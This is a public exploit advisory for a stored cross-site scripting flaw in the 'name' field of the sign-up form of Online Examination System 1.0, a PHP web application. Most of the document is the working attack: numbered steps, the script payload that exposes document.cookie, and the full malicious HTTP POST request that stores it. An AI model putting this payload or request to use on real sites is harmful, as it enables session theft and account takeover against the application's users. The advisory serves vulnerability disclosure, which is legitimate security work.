Online Examination System 1.0 Cross Site Scripting

`# Exploit Title: Online examination system 1.0 - 'name' Stored Cross Site Scripting  
# Date: 29/10/2020  
# Exploit Author: Nikhil Kumar (https://www.linkedin.com/in/nikhil-kumar-4b9443166/)  
# Vendor Homepage: https://github.com/projectworldsofficial/online-examination-systen-in-php  
# Software Link: https://github.com/projectworldsofficial/online-examination-systen-in-php.git  
# Version: 1.0  
# Tested On: Ubntu 18 + Xampp-linux-x64-5.5.38-3  
  
Step 1: Open the URL http://localhost/online-examination-systen-in-php/index.php and fill the sign up form   
  
http://localhost/exam_system/sign.php?q=account.php  
  
Step 2 : Use payload ><script>alert(document.cookie)</script> in "name=" field   
  
Malicious Request  
-----------------  
  
POST /exam_system/sign.php?q=account.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 157  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/exam_system/index.php  
Cookie: security_level=1; PHPSESSID=kue9gcj3bs2329e8mctsokaod7  
Upgrade-Insecure-Requests: 1  
  
name=test><script>alert(document.cookie)</script>&gender=M&college=test&[email protected]&mob=8888888888&password=123456&cpassword=123456  
  
  
Step 3: Cookie will be reflected each time user logged in with their credentials  
`